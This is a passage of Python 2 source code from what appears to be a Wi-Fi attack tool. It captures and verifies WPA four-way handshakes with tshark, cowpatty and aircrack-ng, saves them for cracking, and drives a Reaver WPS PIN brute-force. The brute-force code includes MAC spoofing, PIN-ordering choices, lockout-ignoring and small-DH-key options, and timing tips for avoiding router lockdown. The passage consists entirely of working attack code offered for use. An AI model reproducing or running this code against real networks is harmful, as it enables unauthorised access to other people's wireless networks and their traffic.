        printc (" ",fcolor.SGreen + "1/4 (A>C) = " + fcolor.BWhite + str(HS1) + fcolor.SGreen + "\t\t2/4 (C>A) = " + fcolor.BWhite + str(HS2) + fcolor.SGreen + "\t\t 3/4 (A>C) = " + fcolor.BWhite + str(HS3) + fcolor.SGreen + "\t\t4/4 (C>A) = " + fcolor.BWhite + str(HS4),"")
        if int(HS1)>0 and int(HS3)>0 and int(HS2)==0 and int(HS4)==0:
            printc (" ",fcolor.SWhite + "Captured only 2-way handshake AP ==> Client, client could be further away from you to the access point..","")
        if int(HS1)==0 and int(HS3)==0 and int(HS2)>0 and int(HS4)>0:
            printc (" ",fcolor.SWhite + "Captured only 2-way handshake Client ==> AP, access point could be further away from you to the client..","")
    else:
        printc ("!",fcolor.BRed + "No handshake data found !!","")

def DisplayComplete(TStart):
    print ""
    EndTime=Now()
    Elapse=CalculateTime (TStart,EndTime)
    printc ("i",fcolor.BGreen + "Time Start : " + fcolor.SWhite + str(TStart),"")
    printc (" ",fcolor.BGreen + "Time End   : " + fcolor.SWhite + str(EndTime),"")
    printc (" ",fcolor.BGreen + "Time Spent : " + fcolor.SWhite + str(Elapse),"")
    print ""

def Find2MACIndex(MACAddr,ListToFind):
    MACIndex=-1
    MACLoc=str(ListToFind).find(str(MACAddr))
    if MACLoc!=-1:
        MACIndex=int(MACLoc) -2
        MACIndex=MACIndex/42
        if ListToFind[MACIndex]!=MACAddr:
            MACIndex=-1
    return MACIndex

def CheckHandshake(capfile,TargetMAC,ESSID):
    HANDSHAKE_LIST1=[];HANDSHAKE_LIST1R=[];HANDSHAKE_LIST2=[];HANDSHAKE_LIST2R=[];HANDSHAKE_LIST3=[];HANDSHAKE_LIST3R=[];HANDSHAKE_LIST4=[];HANDSHAKE_LIST4R=[]
    ARW=" -> "
    TargetMAC2=str(TargetMAC).replace(":","")
    if __builtin__.DB_HSSAVED=="0":
        PARTIALSAVED=""
    else:
        PARTIALSAVED=fcolor.SWhite + "[Non-Strict Handshake Already Saved]"
    print ""
    printc (".",fcolor.SWhite + Now() + " - " + fcolor.BGreen + "Checking for four-way handshake... " + str(PARTIALSAVED) + "                              ","")
    WPA_HANDSHAKE=""
    eapol="eapol || wlan_mgt.tag.interpretation"
    cmd = ['tshark','-r',capfile , '-R', eapol, '-n']
    proc = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
    HS_FOUND=""
    lines = proc.communicate()[0].split('\n')
    if str(lines).find("EAPOL")!=-1:
        HS_FOUND="1"
    HS1=0
    HS2=0
    HS3=0
    HS4=0
    SQL=0
    SQL_MATCH=""
    linelist=[]
    for line in lines:
        FRMAC="";TOMAC="";DTYPE="";MSGC=""
        line=str(line).replace("  "," ").replace("  "," ").replace("  "," ")
        linelist=line.split(" ")
        if len(linelist)>11:
            FRMAC=str(linelist[2]).upper()
            TOMAC=str(linelist[4]).upper()
            DTYPE=str(linelist[5]).upper()
            MSGC=str(linelist[9]).upper()
 
        if DTYPE=="EAPOL" and str(line).find("(Message ")!=-1:
            M1=0;M2=0;M3=0;M4=0;AM=""
            if MSGC=="1":
                M1=1;AM="1"
            if MSGC=="2":
                M2=1;AM="2"
            if MSGC=="3":
                M3=1;AM="3"
            if MSGC=="4":
                M4=1;AM="4"
            if MSGC=="1" or MSGC=="3":
                FRTOMAC=str(FRMAC) + str(ARW) + str(TOMAC) # + "[" + str(AM) + "]"
                TOFRMAC=str(TOMAC) + str(ARW) + str(FRMAC)
            if MSGC=="2" or MSGC=="4":
                TOFRMAC=str(FRMAC) + str(ARW) + str(TOMAC) 
                FRTOMAC=str(TOMAC) + str(ARW) + str(FRMAC)
            Result1=Find2MACIndex(FRTOMAC, HANDSHAKE_LIST1)
            Result2=Find2MACIndex(FRTOMAC, HANDSHAKE_LIST2)
            if Result1==-1:	# and Result2==-1:
                HANDSHAKE_LIST1.append (str(FRTOMAC))
                HANDSHAKE_LIST1R.append (str(M1))
                HANDSHAKE_LIST3.append (str(FRTOMAC))
                HANDSHAKE_LIST3R.append (str(M3))
                HANDSHAKE_LIST2.append (str(TOFRMAC))
                HANDSHAKE_LIST2R.append (str(M2))
                HANDSHAKE_LIST4.append (str(TOFRMAC))
                HANDSHAKE_LIST4R.append (str(M4))
            else:
                HANDSHAKE_LIST1R[Result1]=int(HANDSHAKE_LIST1R[Result1]) + int(M1)
                HANDSHAKE_LIST2R[Result1]=int(HANDSHAKE_LIST2R[Result1]) + int(M2)
                HANDSHAKE_LIST3R[Result1]=int(HANDSHAKE_LIST3R[Result1]) + int(M3)
                HANDSHAKE_LIST4R[Result1]=int(HANDSHAKE_LIST4R[Result1]) + int(M4)
        if str(line).find("(Message 1 of 4)")!=-1:
            HS1=int(HS1)+1
            SQL=1
        if str(line).find("(Message 2 of 4)")!=-1:
            HS2=int(HS2)+1
            if SQL==1:
                SQL=2
        if str(line).find("(Message 3 of 4)")!=-1:
            HS3=int(HS3)+1
            if SQL==2:
                SQL=3
        if str(line).find("(Message 4 of 4)")!=-1:
            HS4=int(HS4)+1
            if SQL==3:
                SQL=4;SQL_MATCH="1"
    exename=""
    if IsProgramExists("cowpatty")==True:
        exename="cowpatty"
        cmd = exename + " -r " + capfile + " -s " + TargetMAC + " -c"
    elif IsProgramExists("aircrack-ng")==True:
        exename="aircrack-ng"
        cmd =[ 'aircrack-ng', '-a 2', '-w -', '-b', TargetMAC, capfile ]
    lines=[]
    if exename!="":
        proc = Popen(cmd, stdout=PIPE, stderr=open(os.devnull), shell=True)
        proc.wait()
        lines = proc.communicate()[0]
    else:
        printc ("!!!","Unable to find CoWPAtty nor Aircrack-NG !!","0")
    if HS_FOUND=="1":
        if __builtin__.DB_HSSAVED=="0":
            HS_Filename=savedir + "Handshake_" + TargetMAC2 + "_" + str(ESSID)
            __builtin__.HS_File=HS_Filename + ".cap"
            __builtin__.HS_FileFull=HS_Filename + "_Full.cap"
            __builtin__.HS_FileStrict=HS_Filename + "_Strict.cap"
            __builtin__.HS_FileStrictFull=HS_Filename + "_StrictFull.cap"
            if IsFileDirExist(__builtin__.HS_File)=="F":
                cp=1
                while cp<9999:
                    __builtin__.HS_File= HS_Filename + "_" + str(cp).zfill(2) + ".cap"
                    __builtin__.HS_FileFull=HS_Filename + "_" + str(cp).zfill(2) + "_Full.cap"
                    __builtin__.HS_FileStrict=HS_Filename + "_" + str(cp).zfill(2) + "_Strict.cap"
                    __builtin__.HS_FileStrictFull=HS_Filename + "_" + str(cp).zfill(2) + "_StrictFull.cap"
                    if IsFileDirExist(__builtin__.HS_File)!="F":
                        cp=9999
                    cp += 1
    GOTHS=""
    if lines.find("Collected all necessary data to mount")!=-1 and exename=="cowpatty":
        GOTHS="1"
    elif lines.find("Passphrase not in dictionary")!=-1 and exename=="aircrack-ng":
        GOTHS="1"
    if GOTHS!="":
        if len(HANDSHAKE_LIST1)>0:
            print ""
            printc (" ",fcolor.BWhite + "AP>ST" + fcolor.BBlue + " [ ANounce (1) / GTK+MIC (3)]\t\t" + fcolor.BWhite + " ST>AP " + fcolor.BBlue + " SNounce (2) / Ack (4)","")
            hsc=0;FULL4WAY=""
            while hsc<len(HANDSHAKE_LIST1):
                list=[];OUI=""
                list=str(HANDSHAKE_LIST1[hsc]).split(" ")
                CLMAC=str(list[2])
                OUI=Check_OUI(CLMAC,"")
                DPART1=str(HANDSHAKE_LIST1[hsc]) + " = " +  str(HANDSHAKE_LIST1R[hsc]) + " / " + str(HANDSHAKE_LIST3R[hsc])
                DPART1=str(DPART1).ljust(50) + " ."
                DPART1=str(DPART1).replace(str(ARW),fcolor.SRed + str(ARW) + fcolor.SGreen).replace("/",fcolor.SWhite + "/" + fcolor.BWhite).replace("=",fcolor.SWhite + "=" + fcolor.BWhite)
                DPART2=str(HANDSHAKE_LIST2[hsc]) + " = " +  str(HANDSHAKE_LIST2R[hsc]) + " / " + str(HANDSHAKE_LIST4R[hsc])
                DPART2=str(DPART2).ljust(50) + " ."
                DPART2=str(DPART2).replace(str(ARW),fcolor.SRed + str(ARW) + fcolor.SPink).replace("/",fcolor.SWhite + "/" + fcolor.BWhite).replace("=",fcolor.SWhite + "=" + fcolor.BWhite)
                M1=int(HANDSHAKE_LIST1R[hsc])
                M2=int(HANDSHAKE_LIST2R[hsc])
                M3=int(HANDSHAKE_LIST3R[hsc])
                M4=int(HANDSHAKE_LIST4R[hsc])
                Status=""
                if M1>0 and M2>0 and M3>0 and M4>0:
                    Status=fcolor.BRed + "  [Full 4 Ways]";FULL4WAY="1"
                if M1>0 and M2==0 and M3>0 and M4>0:
                    Status=fcolor.BRed + "  [Partial 3 Ways]"
                if M1>0 and M2>0 and Status=="":
                    Status=fcolor.BRed + "  [Msg 1 & 2]"
                DMIX=str(fcolor.SPink + DPART1 + fcolor.SGreen + DPART2).replace(" ."," ")
                print tabspacefull + str(DMIX) + fcolor.SCyan + str(OUI) + Status + ""
                hsc=hsc+1
        printc (" ",fcolor.SGreen + "1/4 (A>C) = " + fcolor.BWhite + str(HS1) + fcolor.SGreen + "\t\t2/4 (C>A) = " + fcolor.BWhite + str(HS2) + fcolor.SGreen + "\t\t 3/4 (A>C) = " + fcolor.BWhite + str(HS3) + fcolor.SGreen + "\t\t4/4 (C>A) = " + fcolor.BWhite + str(HS4),"")
        if int(HS1)>0 and int(HS3)>0 and int(HS2)==0 and int(HS4)==0:
            printc (" ",fcolor.SWhite + "Captured only 2-way handshake AP ==> Client, client could be further away from you to the access point..","")
        if int(HS1)==0 and int(HS3)==0 and int(HS2)>0 and int(HS4)>0:
            printc (" ",fcolor.SWhite + "Captured only 2-way handshake Client ==> AP, access point could be further away from you to the client..","")
        eapol="eapol || wlan_mgt.tag.interpretation || (wlan.fc.type_subtype==0x08)"
        if __builtin__.DB_HSSAVED=="0":
            printc ("i",fcolor.BCyan + "Handshake Found !!  Saving Handshake ....","")
            printc (" ",fcolor.SGreen + "1/4 = " + fcolor.BWhite + str(HS1) + fcolor.SGreen + "\t\t2/4 = " + fcolor.BWhite + str(HS2) + fcolor.SGreen + "\t\t3/4 = " + fcolor.BWhite + str(HS3) + fcolor.SGreen + "\t\t4/4 = " + fcolor.BWhite + str(HS4),"")
            __builtin__.DB_HSSAVED="1";WPA_HANDSHAKE=""
            if IsProgramExists("wpaclean")==True:
                cmd = ['wpaclean',__builtin__.HS_File,capfile]
            else:
                cmd = ['tshark','-r',capfile , '-R', eapol, '-w',__builtin__.HS_File]
            proc = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
            proc.wait()
            if IsFileDirExist(capfile)=="F":
                if IsFileDirExist(__builtin__.HS_FileFull)=="F":
                    DelFile(__builtin__.HS_FileFull,"")
                shutil.copy2(capfile, __builtin__.HS_FileFull)
            print ""
            if IsFileDirExist(__builtin__.HS_File)=="F":
                statinfo = os.stat(__builtin__.HS_File)
                if statinfo.st_size!=0:
                    GetFileDetail(__builtin__.HS_File)
                    FS=fcolor.SWhite + "[ " + fcolor.SGreen + "Filesize : " + fcolor.SWhite + str(__builtin__.FileSize) + " ]"
                    printc ("i",fcolor.SGreen + "Trimmed Handshake file [Non Strict] successfully saved to " + fcolor.BRed + __builtin__.HS_File + "  " + FS,"") 
                    if IsFileDirExist(__builtin__.HS_FileFull)=="F":
                        statinfo = os.stat(__builtin__.HS_FileFull)
                        if statinfo.st_size!=0:
                             GetFileDetail(__builtin__.HS_FileFull)
                             FS=fcolor.SWhite + "[ " + fcolor.SGreen + "Filesize : " + fcolor.SWhite + str(__builtin__.FileSize) + " ]"
                             printc ("i",fcolor.SGreen + "Full-size packet dump [Non Strict] saved saved to " + fcolor.BRed + __builtin__.HS_FileFull + "  " + FS,"") 
                             print ""
                else:
                    printc ("!",fcolor.BRed + "Handshake file saving failed !!" ,"")
                    printc ("x","","")
                    LineBreak()
        if __builtin__.DB_HSSAVED=="1" and SQL_MATCH!="1" and HS1>0 and HS2>0 and HS3>0 and HS4>0:
            if FULL4WAY=="1":
                SQL_MATCH="1"
        if __builtin__.DB_HSSAVED=="1":
            if IsProgramExists("wpaclean")==True:
                cmd = ['wpaclean',tmpdir + "tmpcap.cap",capfile]
            else:
                cmd = ['tshark','-r',capfile , '-R', eapol, '-w',tmpdir + "tmpcap.cap"]
            proc = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
            proc.wait()
            if IsFileDirExist(tmpdir + "tmpcap.cap")=="F":
                statinfo = os.stat(tmpdir + "tmpcap.cap")
                if statinfo.st_size!=0:
                    cmd="aircrack-ng \x22" + str(tmpdir + "tmpcap.cap") + "\x22"
                    printl (tabspacefull + fcolor.SGreen + "Reading packets...\r","0","")
                    ps=subprocess.Popen(cmd , shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'),preexec_fn=os.setsid)
                    readout=str(ps.stdout.read())
                    lines=str(readout).split("\n")
                    p=0;blankct=0;crackstarted=""
                    msg="";FBSSID="";FESSID="";FEncr="";HS=0
                    for line in lines:
                        line=str(line).replace("\n","").replace("\r","").lstrip().rstrip()
                        if line!="":
                            if str(line).find("BSSID")!=-1 and str(line).find("ESSID")!=-1 and str(line).find("Encryption")!=-1:
                                p=1
                                PosBSSID1=line.index("BSSID")
                                PosESSID1=line.index("ESSID")
                                PosBSSID2=PosESSID1-1
                                PosEncr1=line.index("Encrypt")
                                PosESSID2=PosEncr1-1
                            if p==1 and str(line).find("handshake)")!=-1:
                                FBSSID=str(line[PosBSSID1:PosBSSID2]).lstrip().rstrip()
                                FESSID=str(line[PosESSID1:PosESSID2]).lstrip().rstrip()
                                PosEncr2=len(line)
                                FEncr=str(line[PosEncr1:PosEncr2]).lstrip().rstrip()
                                if str(FEncr).find(" handshake)")!=-1:
                                    shs=[]
                                    shs=str(FEncr).replace("(","").replace(")","").split(" ")
                                    if len(shs)>2:
                                        if str(shs[0]).find("WPA")!=-1 and shs[2]=="handshake":
                                           EncType=str(shs[0]).upper()
                                           HS=shs[1]
                                           HS=int(HS)
                                           if HS>0:
                                               msg="Found"
                                           else:
                                               msg="Handshake Not Found !!!"
                            if str(line).find("No networks found")!=-1:
                                msg="No Network Found !!!"
                    if msg=="Found":
                        __builtin__.DB_HSSAVED="1"
                        SQL_MATCH="1"
        if __builtin__.DB_HSSAVED=="1" and SQL_MATCH=="1":
            WPA_HANDSHAKE="1"
            printc ("i",fcolor.BCyan + "Four Handshake Found [Strict 4/4] !!  Saving Handshake ....","")
            printc (" ",fcolor.SGreen + "1/4 = " + fcolor.BWhite + str(HS1) + fcolor.SGreen + "\t\t2/4 = " + fcolor.BWhite + str(HS2) + fcolor.SGreen + "\t\t3/4 = " + fcolor.BWhite + str(HS3) + fcolor.SGreen + "\t\t4/4 = " + fcolor.BWhite + str(HS4),"")
            if IsProgramExists("wpaclean")==True:
                cmd = ['wpaclean',__builtin__.HS_FileStrict,capfile]
            else:
                cmd = ['tshark','-r',capfile , '-R', eapol, '-w',__builtin__.HS_FileStrict]
            proc = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
            proc.wait()
            if IsFileDirExist(capfile)=="F":
                if IsFileDirExist(__builtin__.HS_FileStrictFull)=="F":
                    DelFile(__builtin__.HS_FileStrictFull,"")
                shutil.copy2(capfile, __builtin__.HS_FileStrictFull)
            print ""
            if IsFileDirExist(__builtin__.HS_FileStrict)=="F":
                statinfo = os.stat(__builtin__.HS_FileStrict)
                if statinfo.st_size!=0:
                    GetFileDetail(__builtin__.HS_FileStrict)
                    FS=fcolor.SWhite + "[ " + fcolor.SGreen + "Filesize : " + fcolor.SWhite + str(__builtin__.FileSize) + " ]"
                    printc (" ",fcolor.SGreen + "Trimmed Handshake file [Strict 4/4] successfully saved to " + fcolor.BRed + __builtin__.HS_FileStrict + "  " + FS,"") 
                    if IsFileDirExist(__builtin__.HS_FileStrictFull)=="F":
                        statinfo = os.stat(__builtin__.HS_FileStrictFull)
                        if statinfo.st_size!=0:
                             GetFileDetail(__builtin__.HS_FileStrictFull)
                             FS=fcolor.SWhite + "[ " + fcolor.SGreen + "Filesize : " + fcolor.SWhite + str(__builtin__.FileSize) + " ]"
                             printc (" ",fcolor.SGreen + "Full-size packet dump [Strict 4/4] saved saved to " + fcolor.BRed + __builtin__.HS_FileStrictFull + "  " + FS,"") 
                else:
                    printc ("!",fcolor.BRed + "Handshake file saving failed !!" ,"")
                    printc ("x","","")
                    LineBreak()
        if __builtin__.DB_HSSAVED=="1" and SQL_MATCH=="0":
            printc ("i",fcolor.SCyan + "Non-Strict Four-way Handshake Already Saved ....","")
    else:
        if HS_FOUND=="1":
            printc ("!",fcolor.SRed + "Incomplete Handshake Found !!!" + str(PARTIALSAVED) + "\n","")
            FULL4WAY=0
            if len(HANDSHAKE_LIST1)>0:
                printc (" ",fcolor.BWhite + "AP>ST" + fcolor.BBlue + " [ ANounce (1) / GTK+MIC (3)]\t\t" + fcolor.BWhite + " ST>AP " + fcolor.BBlue + " SNounce (2) / Ack (4)","")
                hsc=0
                while hsc<len(HANDSHAKE_LIST1):
                    list=[];OUI=""
                    list=str(HANDSHAKE_LIST1[hsc]).split(" ")
                    CLMAC=str(list[2])
                    OUI=Check_OUI(CLMAC,"")
                    DPART1=str(HANDSHAKE_LIST1[hsc]) + " = " +  str(HANDSHAKE_LIST1R[hsc]) + " / " + str(HANDSHAKE_LIST3R[hsc])
                    DPART1=str(DPART1).ljust(50) + " ."
                    DPART1=str(DPART1).replace(str(ARW),fcolor.SRed + str(ARW) + fcolor.SGreen).replace("/",fcolor.SWhite + "/" + fcolor.BWhite).replace("=",fcolor.SWhite + "=" + fcolor.BWhite)
                    DPART2=str(HANDSHAKE_LIST2[hsc]) + " = " +  str(HANDSHAKE_LIST2R[hsc]) + " / " + str(HANDSHAKE_LIST4R[hsc])
                    DPART2=str(DPART2).ljust(50) + " ."
                    DPART2=str(DPART2).replace(str(ARW),fcolor.SRed + str(ARW) + fcolor.SPink).replace("/",fcolor.SWhite + "/" + fcolor.BWhite).replace("=",fcolor.SWhite + "=" + fcolor.BWhite)
                    M1=int(HANDSHAKE_LIST1R[hsc])
                    M2=int(HANDSHAKE_LIST2R[hsc])
                    M3=int(HANDSHAKE_LIST3R[hsc])
                    M4=int(HANDSHAKE_LIST4R[hsc])
                    Status=""
                    if M1>0 and M2>0 and M3>0 and M4>0:
                        Status=fcolor.BRed + "  [Full 4 Ways]";FULL4WAY="1"
                    if M1>0 and M2==0 and M3>0 and M4>0:
                        Status=fcolor.BRed + "  [Partial 3 Ways]"
                    if M1>0 and M2>0 and Status=="":
                        Status=fcolor.BRed + "  [Msg 1 & 2]"
                    DMIX=str(fcolor.SPink + DPART1 + fcolor.SGreen + DPART2).replace(" ."," ")
                    print tabspacefull + str(DMIX) + fcolor.SCyan + str(OUI) + Status + ""
                    hsc=hsc+1
            printc (" ",fcolor.SGreen + "1/4 (A>C) = " + fcolor.BWhite + str(HS1) + fcolor.SGreen + "\t\t2/4 (C>A) = " + fcolor.BWhite + str(HS2) + fcolor.SGreen + "\t\t 3/4 (A>C) = " + fcolor.BWhite + str(HS3) + fcolor.SGreen + "\t\t4/4 (C>A) = " + fcolor.BWhite + str(HS4),"")
            if int(HS1)>0 and int(HS3)>0 and int(HS2)==0 and int(HS4)==0:
                printc (" ",fcolor.SWhite + "Captured only 2-way handshake AP ==> Client, client could be further away from you to the access point..","")
            if int(HS1)==0 and int(HS3)==0 and int(HS2)>0 and int(HS4)>0:
                printc (" ",fcolor.SWhite + "Captured only 2-way handshake Client ==> AP, access point could be further away from you to the client..","")
            LineBreak()
        else:
            printc ("!",fcolor.SRed + "No Handshake Found !!\n","")
    return WPA_HANDSHAKE

def WPSAddOnPara(Para,Header):
    if Header!="":
        printc ("i",fcolor.BGreen + "WPS Bruteforcing Advanced Options","")
        printc (" ",fcolor.SWhite + "This option allow user to specify additional WPS bruteforcing options. To enable/disable the option, simply enter the command to toggle.","")
    print ""
    printc (" ",fcolor.SGreen + "Parameter : " + fcolor.BWhite + str(Para),"")
    usr_resp=AskQuestion("Enter options",fcolor.BRed + "OK" + fcolor.SGreen + "-Exit / " + fcolor.BRed + "HELP" + fcolor.SGreen + "-Display options","L"," ","1")
    if usr_resp==" ":
        WPSAddOnPara(Para,"")
        return
    if usr_resp=="ok":
        return Para
    if usr_resp=="help":
        LineBreak()
        MSG=""
        MSG=MSG + tabspacefull + fcolor.BYellow + "--pin=" + fcolor.SYellow + "<wps pin>\t\t" + fcolor.SWhite + "Use the specified 4 or 8 digit WPS pin\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--delay=" + fcolor.SYellow + "<seconds>\t\t" + fcolor.SWhite + "Set the delay between pin attempts.\t\t\t" + fcolor.SGreen + "[Default is 1]\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--lock-delay=" + fcolor.SYellow + "<seconds>\t" + fcolor.SWhite + "Set the time to wait if the AP locks WPS pin attempts.\t" + fcolor.SGreen + "[Default is 60]\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--max-attempts==" + fcolor.SYellow + "<num>\t" + fcolor.SWhite + "Quit after num pin attempts\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--fail-wait=" + fcolor.SYellow + "<seconds>\t" + fcolor.SWhite + "Set the time to sleep after 10 unexpected failures.\t" + fcolor.SGreen + "[Default is 60]\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--recurring-delay=" + fcolor.SYellow + "<x:y> \t" + fcolor.SWhite + "Sleep for y seconds every x pin attempts\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--timeout=" + fcolor.SYellow + "<seconds>\t" + fcolor.SWhite + "Set the receive timeout period.\t\t\t\t" + fcolor.SGreen + "[Default is 60]\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--m57-timeout=" + fcolor.SYellow + "<seconds>\t" + fcolor.SWhite + "Set the M5/M7 timeout period.\t\t\t\t" + fcolor.SGreen + "[Default is 0.20]\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--no-associate" + fcolor.SYellow + "\t\t" + fcolor.SWhite + "Do not associate with the AP (association must be done by another application)\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--no-nacks" + fcolor.SYellow + "\t\t" + fcolor.SWhite + "Do not send NACK messages when out of order packets are received\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--dh-smalls" + fcolor.SYellow + "\t\t" + fcolor.SWhite + "Use small DH keys to improve crack speed\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--ignore-locks" + fcolor.SYellow + "\t\t" + fcolor.SWhite + "Ignore locked state reported by the target AP\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--eap-terminate" + fcolor.SYellow + "\t\t" + fcolor.SWhite + "Terminate each WPS session with an EAP FAIL packet\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--nack" + fcolor.SYellow + "\t\t\t" + fcolor.SWhite + "Target AP always sends a NACK\n"
        MSG=MSG + tabspacefull + fcolor.BYellow + "--win7" + fcolor.SYellow + "\t\t\t" + fcolor.SWhite + "Mimic a Windows 7 registrar "
        printc ("i",fcolor.BWhite + "Advanced Options Help","")
        print MSG
        LineBreak()
        WPSAddOnPara(Para,"")
        return

def AttackWPSProc(TargetMAC,TargetChannel,ClentList,Auto):
    retkey="";DAUTHCT=5
    DelFile (tmpdir + "tmp-capture*.*","")
    TargetMAC2=str(TargetMAC).replace(":","")
    printc ("i",fcolor.BBlue + "WPS Enabled Router Auditing","")
    printc (" ",fcolor.SWhite + "Application will be testing the selected WPS enabled Access Point. In order to have success, make sure the signal between you and the AP is very good.","")
    WPS_CRACKED=""
    __builtin__.WPS_File=tmpdir + "WPS_" + str(TargetMAC2) + "_TMP.dump"
    __builtin__.WPS_File2=tmpdir + "WPS_" + str(TargetMAC2) + "_TMP2.dump"
    os.chdir(tmpdir)
    if len(__builtin__.CUR_CLIENT)>0:
        ListClientFound()
    Result=ChangeMACAddr(__builtin__.SELECTED_ATK,__builtin__.SELECTED_IFACE,__builtin__.SELECTED_MON)
    LineBreak()
    CH5GHZ=""
    if int(__builtin__.ATTACK_AP_CH)>14:
        CH5GHZ=" -5"
    Para=CH5GHZ + "--dh-small --win7 "
    if IsFileDirExist(ReaverPath)=="D":
        printc ("i",fcolor.BYellow + "Attack Sequence Selection","")
        printc (" ",fcolor.SWhite + "This option allow user to select the sequence of WPS PIN attack.","")
        printc (" ",fcolor.BRed + "Note :" + fcolor.SRed + "This must be done prior to the attack, any previous session of the selected AP will be " + fcolor.BRed + "DELETED" + fcolor.SRed + ", if any.\n","")
        ReaverLog=ReaverPath + str(TargetMAC2) + ".wpc"
        ReaverBak=ReaverPath + str(TargetMAC2) + ".bak"
        l=1
        line1="1"
        recommend="4"
        if IsFileDirExist(ReaverLog)=="F":
            with open(ReaverLog,"r") as f:
                for line in f:
                    if l==1:
                        line1=str(line).replace("\n","")
                    if l==2:
                        line2=str(line).replace("\n","")
                    if l==3:
                        line3=str(line).replace("\n","")
                    l += 1
            printc ("!",fcolor.SGreen + "A previous log was found with the following sequence position : " + fcolor.BYellow + str(line1) + ", " + str(line2) + ", " + str(line3),"")
            printc (" ",fcolor.SGreen + "Log File : " + fcolor.SWhite + str(ReaverLog),"")
            if line1.isdigit()==True:
                line1=int(line1)
                if line1>0:
                    recommend="0"
                    printc (" ",fcolor.BRed + "If you choose to have a new attack sequence, previous session of the attack sequence will be restarted !!","")
            print ""
        if IsFileDirExist(ReaverLog)!="F":
            recommend="4"
        Sel1="Sequential - " + fcolor.BYellow + "A" + fcolor.SWhite + "scending  Order (Default Reaver Setting)"
        Sel2="Sequential - " + fcolor.BYellow + "D" + fcolor.SWhite + "escending Order (9998,9997,9996,9995,9994,9993....)"
        Sel3="Pa" + fcolor.BYellow + "r" + fcolor.SWhite +            "tial Numbering Order       (0000,5000,0001,5001,0002,5002....)"
        Sel4="A" + fcolor.BYellow + "l" + fcolor.SWhite +             "ternate Numbering Order     (0000,9999,0001,9998,0002,9997....)"
        Sel5=fcolor.BYellow + "P" + fcolor.SWhite +                   "ossible Numbering Order      (Seq Series : 1,4,3,2,5,7,8,9,6,0.) - Not Available In this Release"
        Sel6=fcolor.BYellow + "I" + fcolor.SWhite +                   "mproved Possible Sequence    (Seq Series : 9,5,1,2,0,3,4,7,8,6.) - Not Available In this Release"
        Sel0="Do " + fcolor.BYellow + "n" + fcolor.SWhite + "ot change the sequence"
        printc (" ",fcolor.BRed + "1/A" + fcolor.SWhite + " - " + str(Sel1),"")
        printc (" ",fcolor.BRed + "2/D" + fcolor.SWhite + " - " + str(Sel2),"")
        printc (" ",fcolor.BRed + "3/R" + fcolor.SWhite + " - " + str(Sel3),"")
        printc (" ",fcolor.BRed + "4/L" + fcolor.SWhite + " - " + str(Sel4),"")
        printc (" ",fcolor.BRed + "5/P" + fcolor.SWhite + " - " + str(Sel5),"")
        printc (" ",fcolor.BRed + "6/I" + fcolor.SWhite + " - " + str(Sel6),"")
        printc (" ",fcolor.BRed + "0/N" + fcolor.SWhite + " - " + str(Sel0),"")
        usr_resp=AskQuestion(fcolor.BGreen + "Select an option ","1/2/3/4/5/6/0 " + fcolor.SWhite + "Default - " + fcolor.BRed + str(recommend) ,"U",str(recommend),"1")
        if usr_resp=="1" or usr_resp=="2" or usr_resp=="3" or usr_resp=="4" or usr_resp=="5" or usr_resp=="6" or usr_resp=="A" or usr_resp=="D" or usr_resp=="R" or usr_resp=="L" or usr_resp=="P" or usr_resp=="I":
            SelTxt=""
            if IsFileDirExist(ReaverBak)=="F":
                os.remove(ReaverBak)
            if IsFileDirExist(ReaverLog)=="F":
                os.rename(ReaverLog,ReaverBak)
                printc (" ",fcolor.SGreen + "Previous log [ " + fcolor.SWhite + str(ReaverLog) + fcolor.SGreen + " ] backup as [ " + fcolor.SWhite + str(ReaverBak) + fcolor.SGreen + " ].","")
            if usr_resp=="1" or usr_resp=="A":
                shutil.copy(DBWPS_SeqA, ReaverLog)
                SelTxt=Sel1
            elif usr_resp=="2" or usr_resp=="D":
                shutil.copy(DBWPS_SeqD, ReaverLog)
                SelTxt=Sel2
            elif usr_resp=="3" or usr_resp=="R":
                shutil.copy(DBWPS_Half, ReaverLog)
                SelTxt=Sel3
            elif usr_resp=="4" or usr_resp=="L":
                shutil.copy(DBWPS_Alt, ReaverLog)
                SelTxt=Sel4
            elif usr_resp=="5" or usr_resp=="P":
                shutil.copy(DBWPS_Pos, ReaverLog)
                SelTxt=Sel5
            else:
                shutil.copy(DBWPS_PosD, ReaverLog)
                SelTxt=Sel6
            SelTxt=str(SelTxt).replace("  "," ").replace("  "," ").replace("  "," ")
            SelTxt=RemoveColor(SelTxt)
            print ""
            printc ("i",fcolor.BWhite + "Sequence set to " + fcolor.BGreen + str(SelTxt) + "\n","")
        else:
            printc (" ",fcolor.SGreen + "No sequence written.\n","")
    printc ("i",fcolor.BYellow + "Attack Mode Selection","")
    printc (" ",fcolor.SWhite + "Tips : It is better to slow in attack rather than Router being locked down.\n","")
    printc (" ",fcolor.BRed + "1" + fcolor.SWhite + " - Non Aggresive Mode (Slow - Help prevent locking on some AP - 30 Seconds","")
    printc (" ",fcolor.BRed + "2" + fcolor.SWhite + " - Non Aggresive Mode (Slow - Help prevent locking on some AP - 120 Seconds","")
    printc (" ",fcolor.BRed + "3" + fcolor.SWhite + " - Aggresive Mode (Fast - Only useful on non-lockable AP - 2 Seconds","")
    printc (" ",fcolor.BRed + "4" + fcolor.SWhite + " - Aggresive Mode (Fast - Only useful on non-lockable AP","")
    printc (" ",fcolor.BRed + "5" + fcolor.SWhite + " - Customized Configuration","")
    usr_resp=""
    AMODE=""
    while usr_resp!="1" and usr_resp!="2" and usr_resp!="3" and usr_resp!="4" and usr_resp!="5":
